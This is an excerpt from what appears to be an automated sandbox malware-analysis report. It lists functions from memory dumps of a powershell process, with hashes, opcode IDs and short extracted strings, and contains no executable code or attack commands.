Instruction Fuzzy Hash: E4C1BF34B14219DFCB14DFA4C944AADBBB2FF85310F158569E806AF364CB74AD49CB90

Function 0522EACD Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60e850ab3450105247c4c76933768de98903f1f8366db8211f4ff1c50cb24098
Instruction ID: 3dae9e732a5eb3f7bd18fe4483817455c27c3ca9cc1434f4d7f331ac88b2eb92
Opcode Fuzzy Hash: 60e850ab3450105247c4c76933768de98903f1f8366db8211f4ff1c50cb24098
Instruction Fuzzy Hash: 0FB18175E10229EFDB10CFA8C8857EDBBFABF48314F158129E819E7250EB749845DB81

Function 0522F39C Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad488744438175e32e3eb306633e3350bcf22ab94ba8e9da337436d645560fbd
Instruction ID: d3c3912044ff08151dba1ed82d2c835cfe681130afd2608eeb5f145e5aab5265
Opcode Fuzzy Hash: ad488744438175e32e3eb306633e3350bcf22ab94ba8e9da337436d645560fbd
Instruction Fuzzy Hash: DBB17274E1421AAFDB10CFA8C986BEDBBF2FF48314F148129D819E7254EB749855CB81

Function 05222AA0 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39c699904839b6e1b17422d8703f6267a9ddd89c570788fec0a3bb3b55c3de32
Instruction ID: f7946ac0360a77f8fc80a9e0316c59512544f73ed555813076db3a3d669af570
Opcode Fuzzy Hash: 39c699904839b6e1b17422d8703f6267a9ddd89c570788fec0a3bb3b55c3de32
Instruction Fuzzy Hash: DBA1A078A04255DFCB06CF58C494AAEBBB1FF89310B258296D855DB3A1C736FC51CBA0

Function 07D54C68 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 865f7116156e65f9ae687df2bad06c92fce5544e09179de337c96d05919c9b61
Instruction ID: 959abedcce5e681a37ae33738c26fe9fbb46ee6c53741505b5836514d882d757
Opcode Fuzzy Hash: 865f7116156e65f9ae687df2bad06c92fce5544e09179de337c96d05919c9b61
Instruction Fuzzy Hash: 9C718FB0A10205DFCB64CF98C591AAEFBF2AF89314F158469D815AF755CB31EC81CB92

Function 05227A68 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b532b70189a327a05d9872db6642f1846a4d09c6bbd0d73e4ac3d89b22c2fd3
Instruction ID: 4832a2cd865b02c7f939cb1f5fec36f7c45623e42e5f82d744d18c7e7f8fc233
Opcode Fuzzy Hash: 8b532b70189a327a05d9872db6642f1846a4d09c6bbd0d73e4ac3d89b22c2fd3
Instruction Fuzzy Hash: 5E71C070A04219DFCB14DF68C884AAEBBF2FF89314F18856AD419DB751DB74AC46CB90

Function 05227BD6 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e89f3015a05baaea841a83fb29e2f172b43872bcd6a45c80eea4e9fcb5bc594
Instruction ID: 6ada4d43906e95945add4c90b40cbae694fa161dcc254ca0f38100eb2f50d947
Opcode Fuzzy Hash: 7e89f3015a05baaea841a83fb29e2f172b43872bcd6a45c80eea4e9fcb5bc594
Instruction Fuzzy Hash: 7B717C74A04219EFDB15DFA5D494BADBBF2FF88305F188429D406AB3A0CB74AD46CB50

Function 0522F120 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 242d737845d6e9ccd81f5c33502ff71c05a9f34ed0c3001597fd15ec1254b59b
Instruction ID: 30186dfd1e15de1dbf235798fa51839ea511aecc8101f0a69f39852c1a84f84b
Opcode Fuzzy Hash: 242d737845d6e9ccd81f5c33502ff71c05a9f34ed0c3001597fd15ec1254b59b
Instruction Fuzzy Hash: BE718D74E10259AFDF14CFA9C9857DEBBF2BF88314F148129E419A7254EB749841CF81

Function 0522F115 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d270b97cfd8c281a10027f2f2710b5f125182c43b0770db83da95503b6a1b7d6
Instruction ID: 73f7324181c4b33eea3a3c8e2ff188cc7782fc1b1212119497892c54fe8cdd9e
Opcode Fuzzy Hash: d270b97cfd8c281a10027f2f2710b5f125182c43b0770db83da95503b6a1b7d6
Instruction Fuzzy Hash: C0718EB4E10259EFDB14CFA9C985BDEBBF2BF88314F148129E419A7250EB749841CF91

Function 07D54C46 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149a70012197c0a77781a0ded2a49f6103597de3fcdfda322af0236a66c1de18
Instruction ID: a8058436a2de425da6318817b61b546a905e54d45f5e363f14830d9c36ebc850
Opcode Fuzzy Hash: 149a70012197c0a77781a0ded2a49f6103597de3fcdfda322af0236a66c1de18
Instruction Fuzzy Hash: EC6180B0A01245DFCB64CF98C590A9AFBB2BF85324F19859AD811AB751C731E881CF92

Function 052277F9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530125b1f4df037e842081fb0bc9c7306504a0f11d9b819befc8750becddd78c
Instruction ID: 23efaacc68d69632031ee699c0f9e0bbf24f45c9ca013fccde249ddb269ed919
Opcode Fuzzy Hash: 530125b1f4df037e842081fb0bc9c7306504a0f11d9b819befc8750becddd78c
Instruction Fuzzy Hash: 25416C35A042159FDB19DF24C854AAE7BB3EF89750F184469E40AEB7A0DB34AD41CBA0

Function 05227A58 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0161b23aaef895048520330f3086aa2aeefe64d56f9b63583468cb00513b3214
Instruction ID: 441d906316ad69c1049f98a8cde32b7834d3f02b798e1c95995ab7be6d3f0c24
Opcode Fuzzy Hash: 0161b23aaef895048520330f3086aa2aeefe64d56f9b63583468cb00513b3214
Instruction Fuzzy Hash: EB415D70A14219DFDB18DFA9C494BADBBF2FF89304F188529D406AB390DB74AD45CB90

Function 05222BB0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75a6e0dacba884744257d9c25d3f59759337b18e412752b39fab5144ec69859e
Instruction ID: 2e303c34de368423dd649114e83fdb45f251ef3d0971a272b9ee23e6ae9f5851
Opcode Fuzzy Hash: 75a6e0dacba884744257d9c25d3f59759337b18e412752b39fab5144ec69859e
Instruction Fuzzy Hash: 05416A78A10215EFCB05CF58C094EAAFBB5FF48310B158299C819AB364C736FD51CBA4

Function 05229D75 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 829ff694c774b21265f0801e6541a4283a2e3a03391686472fa4dfe5d489c4d4
Instruction ID: 87d9d9d153976b0b0b9d4171a047c5d2adf8ecb44dbc9ea21ab6fee2384e3ce1
Opcode Fuzzy Hash: 829ff694c774b21265f0801e6541a4283a2e3a03391686472fa4dfe5d489c4d4
Instruction Fuzzy Hash: D941E2796093959FCB02DF5CC4909AAFFB1FF4A310B1541DAD848EB252C735AC82CB61

Function 07D5854E Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3238ad44cb4d2ec2583274a8e9b068857853d0be02f124ad553acaeab78f00c9
Instruction ID: afd8f252324c03cb0b6cb8867395db0f882f98557d93083adecf70ad41cbca73
Opcode Fuzzy Hash: 3238ad44cb4d2ec2583274a8e9b068857853d0be02f124ad553acaeab78f00c9
Instruction Fuzzy Hash: A73146F2B001208BCF21676C99126BEF796DBD4314F1088BADE029BB41DE32DD4597A6

Function 07D50DE8 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76008fbad0e929d56531dbbace95d5ae1c637611e2ef5f2ffa90e89f0511cc95
Instruction ID: 3f32683b1ffafa3419e0410b16cd6c500fb8f630c8c322d9d5a99ed4af76ee2d
Opcode Fuzzy Hash: 76008fbad0e929d56531dbbace95d5ae1c637611e2ef5f2ffa90e89f0511cc95
Instruction Fuzzy Hash: D72149F130031AABCF645ABA491573BF6DAABC6315F74883EA945CB3C0CE75D8418360

Function 0522BCA0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d29002d9694a5c980c99594489c09086b52645e5f1c9dc7b13bdf15c93d089d7
Instruction ID: 785a006a740890bdc0a5dcf7e2e29ff707e8876627bd656c2f0924a0d66b1b12
Opcode Fuzzy Hash: d29002d9694a5c980c99594489c09086b52645e5f1c9dc7b13bdf15c93d089d7
Instruction Fuzzy Hash: 4C314A34B141289FCB26DB64C8946EEB7F2BF49305F1040E9D90AAB351CB359E81CF91

Function 05229CEF Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be37bd2e6308e6a24831be6984c617089c8cbd40869beabb2bc4a5ed7df8c5f4
Instruction ID: 76a8d897d29f66d3552c2c36db05607f92705b03e7bd91a65be42780081f24fd
Opcode Fuzzy Hash: be37bd2e6308e6a24831be6984c617089c8cbd40869beabb2bc4a5ed7df8c5f4
Instruction Fuzzy Hash: AE31A4756093559FC702DF5CC4A09E9BBB1FF4A310B1980DAD848DF252CB35AC86CBA0

Function 07D50DCC Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c3dd2db5911e08cd8b2bda54b2e30be7421bfc6a6188c3b8b1b30af9f1d472
Instruction ID: 8ad98cd2962ce7f0f485eaed3f1a387dbab378631ab5928aaa23f17beff26e1a
Opcode Fuzzy Hash: 58c3dd2db5911e08cd8b2bda54b2e30be7421bfc6a6188c3b8b1b30af9f1d472
Instruction Fuzzy Hash: F4216BF170434A6BDB600AB94905766BBE65F86310F28842AAD84DB7C1CA79DC81C360

Function 05229597 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e70603d3c3bbcf2d196efffc226300004908454b1327cc9eb54ba9e71d6088
Instruction ID: e1d26734101e258fa332cacc0f6805b172c2a41673f632175e3f8aa95cb20147
Opcode Fuzzy Hash: 19e70603d3c3bbcf2d196efffc226300004908454b1327cc9eb54ba9e71d6088
Instruction Fuzzy Hash: 02113D74A002199FCB00DF98C980AAEFBF5FF89310F158569D819AB351C731ED41CBA1

Function 0522EDC3 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680416733aeacc782ffa9992ab107a4bbbfed60d2482f0ecb3af9d900730dbb6
Instruction ID: 84756a12100cd8079e32d4c4f1b1526bf2c203052e66ab6dd45ab5d98e05e6c9
Opcode Fuzzy Hash: 680416733aeacc782ffa9992ab107a4bbbfed60d2482f0ecb3af9d900730dbb6
Instruction Fuzzy Hash: FB112838D2412AEFCF34DA94D49C7FCB77ABF05229F161029C009B6190EB7418C9DB12

Function 04D3D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492215099.0000000004D3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d0f8173183cf8c2ce2d6810ae3b7d8d2305944ac440501de9df35cf5683c56f
Instruction ID: f4eea036db63f310d5428096bfd11f8b0f1cfb13b16c96a5fda2caffd8446354
Opcode Fuzzy Hash: 4d0f8173183cf8c2ce2d6810ae3b7d8d2305944ac440501de9df35cf5683c56f
Instruction Fuzzy Hash: 1A012B716043009AE7208F25ECC4B67BF98EF41731F18C41AEC480B146C378E845CEB1

Function 04D3D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492215099.0000000004D3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c262a2fed8b1fe6d40c1358c420d240c7ce1fa09ac91bc1d4165f43b61ac65f1
Instruction ID: c69e613f8ceda24685238b1971cd882d9cb767f0b417fa2a1481c86235652df1
Opcode Fuzzy Hash: c262a2fed8b1fe6d40c1358c420d240c7ce1fa09ac91bc1d4165f43b61ac65f1
Instruction Fuzzy Hash: 67019E6210E3C05ED7128B259C94B52BFB4EF43225F1CC0DBE8888F1A3C2689849CB72

Function 07D51977 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 723070e985e5bf8a4cf85363a29a7ec43e0752e6b9b4f1fbc36df995603c4f32
Instruction ID: 0e5465e18b9ee08d9f4d305163212a50ad012c645015327abd60035593cca708
Opcode Fuzzy Hash: 723070e985e5bf8a4cf85363a29a7ec43e0752e6b9b4f1fbc36df995603c4f32
Instruction Fuzzy Hash: F7B012302091404FC305CB14CC60554BB20DFC3118319C0CA98C58B253CB23DD03C740

Non-executed Functions

Function 07D57A90 Relevance: 14.2, Strings: 11, Instructions: 466COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D57B46
tPcq, xrefs: 07D57EB4
4'cq, xrefs: 07D57D47
$cq, xrefs: 07D57E24
tPcq, xrefs: 07D57EC0
$cq, xrefs: 07D57FAE
4'cq, xrefs: 07D57B3A
d5yk, xrefs: 07D57D0E
4'cq, xrefs: 07D57D3D
$cq, xrefs: 07D57F77
$cq, xrefs: 07D57FA2

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq$d5yk$tPcq$tPcq$$cq$$cq$$cq$$cq
API String ID: 0-1468706216
Opcode ID: b410f0d03d0710a2915d57ada3a3e73a0e32f9a07a9803775d9c3e6afc186ac4
Instruction ID: 59d4e83ade0310da228e6304c2043636fcc90e62dc316b9444622b621fc670c3
Opcode Fuzzy Hash: b410f0d03d0710a2915d57ada3a3e73a0e32f9a07a9803775d9c3e6afc186ac4
Instruction Fuzzy Hash: A9E129F1B143069FCF259A69891167BFBA2AFC6230F3884ABDD45CB251DB31C845C7A1

Function 07D5F0A0 Relevance: 11.5, Strings: 9, Instructions: 233COMMON

Download Yara Rule

Strings

d%iq, xrefs: 07D5F2C3
d%iq, xrefs: 07D5F302
tPcq, xrefs: 07D5F299
4'cq, xrefs: 07D5F337
$cq, xrefs: 07D5F180
d%iq, xrefs: 07D5F2CD
d%iq, xrefs: 07D5F25F
4'cq, xrefs: 07D5F343
tPcq, xrefs: 07D5F2A5

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$d%iq$d%iq$d%iq$d%iq$tPcq$tPcq$$cq
API String ID: 0-466209578
Opcode ID: 581e9ac2671226c6eea08cd832b3ed4f1ba0d10f6de3c7c5a8867264bcfb4c8f
Instruction ID: 323ede5f339b5e862d8eeb04b4ea392c632429db0d5c67a3167b3ccc667e2565
Opcode Fuzzy Hash: 581e9ac2671226c6eea08cd832b3ed4f1ba0d10f6de3c7c5a8867264bcfb4c8f
Instruction Fuzzy Hash: 6281E2B1B002069FDF249F69C854AAAFBA2AFC9314F15846AEC45DF395DB31DC40C7A1

Function 07D580A0 Relevance: 10.3, Strings: 8, Instructions: 321COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D580E4
tPcq, xrefs: 07D5811D
4'cq, xrefs: 07D582A1
4'cq, xrefs: 07D582AD
tPcq, xrefs: 07D58129
$cq, xrefs: 07D58386
$cq, xrefs: 07D580D8
$cq, xrefs: 07D580B2

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$tPcq$tPcq$$cq$$cq$$cq$$cq
API String ID: 0-3745760094
Opcode ID: f7f052ac321b22257eaad3c22a2c188ac7b0a88617e336c8cc8c897f59f21084
Instruction ID: 41b002657288225be8329ffbfd517e58e10742ef5153afdda270a9e565dc5028
Opcode Fuzzy Hash: f7f052ac321b22257eaad3c22a2c188ac7b0a88617e336c8cc8c897f59f21084
Instruction Fuzzy Hash: 2DA146B17142069FDF249A6DD801B6BFFE6AFC6321F14846BD945CB391CA32C881D7A1

Function 07D5C120 Relevance: 8.0, Strings: 6, Instructions: 456COMMON

Download Yara Rule

Strings

tL{k, xrefs: 07D5C371
tL{k, xrefs: 07D5C27B
4'cq, xrefs: 07D5C63E
x.zk, xrefs: 07D5C871
4'cq, xrefs: 07D5C59A
-zk, xrefs: 07D5C8BF

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$tL{k$tL{k$x.zk$-zk
API String ID: 0-929598093
Opcode ID: d377e015eadefe93070aeeb1dd15bee7b0aac608e6c48e214869fbea40c1e334
Instruction ID: d8694c48491d0c7ffad2a187e90b43481d7e589f6c0abdf5794336c391333050
Opcode Fuzzy Hash: d377e015eadefe93070aeeb1dd15bee7b0aac608e6c48e214869fbea40c1e334
Instruction Fuzzy Hash: B62241B4A002199FDB64DB18C950BDABBB2FF89314F108599D90DAB781CB31ED85CF91

Function 07D5E6F8 Relevance: 7.7, Strings: 6, Instructions: 209COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D5E817
$cq, xrefs: 07D5E7F9
$cq, xrefs: 07D5E7E9
$cq, xrefs: 07D5E79E
4'cq, xrefs: 07D5E823
$cq, xrefs: 07D5E90E

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq$$cq
API String ID: 0-915829551
Opcode ID: 5dfc7d557152a08a003f10e1d9c14b98012f860ba179d6220276374927331afb
Instruction ID: 4e48473f85eb07a8239f9729bcc456a1b14b2036b43ec569d3b2632f70c7ddd5
Opcode Fuzzy Hash: 5dfc7d557152a08a003f10e1d9c14b98012f860ba179d6220276374927331afb
Instruction Fuzzy Hash: 1F61F6B5B1421ADFCF24AF69C40466AFBA2AFC5211F14C07AD895CF291DB31DA51C7A0

Function 07D50470 Relevance: 6.4, Strings: 5, Instructions: 146COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D5056A
$cq, xrefs: 07D504FC
$cq, xrefs: 07D50541
$cq, xrefs: 07D50535
4'cq, xrefs: 07D5055E

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq
API String ID: 0-838516036
Opcode ID: 7a9590e7001bfff22e32bdf52043cfb534b05c4f826cc8f250db59f6a554d935
Instruction ID: 545f75a7d97c1ddcf318e91659dc7a96edf8380cdc3a7685889569c4d2ccb4d6
Opcode Fuzzy Hash: 7a9590e7001bfff22e32bdf52043cfb534b05c4f826cc8f250db59f6a554d935
Instruction Fuzzy Hash: 484125B1B043069FCF255B38881076FBBA2AFC2311F04846ADD55CB292DB32C945C7E2

Function 07D5F420 Relevance: 6.4, Strings: 5, Instructions: 122COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D5F4D9
$cq, xrefs: 07D5F4CD
$cq, xrefs: 07D5F493
4'cq, xrefs: 07D5F4F9
4'cq, xrefs: 07D5F505

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq
API String ID: 0-838516036
Opcode ID: c199d9847dad08b0af7b1960e00535be309a85b619887bd0018397e40787e1a3
Instruction ID: 125a66838f8cfd4c4d2c0e157429572b18df8ab8f57a46bd9764de68e84ccda0
Opcode Fuzzy Hash: c199d9847dad08b0af7b1960e00535be309a85b619887bd0018397e40787e1a3
Instruction Fuzzy Hash: 1D41ADB2B0021A8BCF248F69C800A6BF7E6ABC9211B24846ADD55CB245DB31C641C7A1

Function 07D5F1E6 Relevance: 6.3, Strings: 5, Instructions: 85COMMON

Download Yara Rule

Strings

d%iq, xrefs: 07D5F2C3
4'cq, xrefs: 07D5F337
tPcq, xrefs: 07D5F299
d%iq, xrefs: 07D5F2CD
d%iq, xrefs: 07D5F25F

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$d%iq$d%iq$d%iq$tPcq
API String ID: 0-2983197057
Opcode ID: 9ad5938af8353de5cd5aeb60a33f599e345f9e003d847d271ab66998489ea4e2
Instruction ID: b8562c6117d573fa06c233b4d4631cbbfb0727c74ac1214e3294eeb078143c98
Opcode Fuzzy Hash: 9ad5938af8353de5cd5aeb60a33f599e345f9e003d847d271ab66998489ea4e2
Instruction Fuzzy Hash: D0319FF5A00215DFDB28DF58C444A6AFBA2BB88714F558459ED09EF385C731EC41CBA1

Function 07D5E9B0 Relevance: 5.5, Strings: 4, Instructions: 490COMMON

Download Yara Rule

Strings

(ocq, xrefs: 07D5EDD9
(ocq, xrefs: 07D5EA96
(ocq, xrefs: 07D5EDE9
(ocq, xrefs: 07D5EAA6

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: (ocq$(ocq$(ocq$(ocq
API String ID: 0-2003149739
Opcode ID: 5e0e6e4edff23441a4adcb1e40b8fa51c7d98c802c833eb6e8f11135bb6a2d07
Instruction ID: c1cd6350dc792a55ce39cc6347e85311e3ead67fdc3d6f764c736cbc857a2976
Opcode Fuzzy Hash: 5e0e6e4edff23441a4adcb1e40b8fa51c7d98c802c833eb6e8f11135bb6a2d07
Instruction Fuzzy Hash: CDF118B1704306DFCF24AF68C8057AAFFA2AF85311F18846AE855CF291DB31DA55C7A1

Function 05220F4D Relevance: 5.1, Strings: 4, Instructions: 125COMMON

Download Yara Rule

Strings

p, xrefs: 05221122
p, xrefs: 05221112
p, xrefs: 052210F2
p, xrefs: 05221162

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID: p$p$p$p
API String ID: 0-3467077657
Opcode ID: 49344f3ae8b7c79e414b6ef2b021127f4394aa9bfe32070b1f13702600b947a9
Instruction ID: 464fc181317dfc6ac371d28c6d28b1838505cf35b9ba74d40ed3c421fdf261ae
Opcode Fuzzy Hash: 49344f3ae8b7c79e414b6ef2b021127f4394aa9bfe32070b1f13702600b947a9
Instruction Fuzzy Hash: 0D41035591E3E2AFC3134B6868741D67F319F03744F4A09DBDC84CF1A7E91A481AC366

Function 07D59CA8 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D59D04
$cq, xrefs: 07D59CD6
$cq, xrefs: 07D59D10
$cq, xrefs: 07D59CBA

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq$$cq$$cq
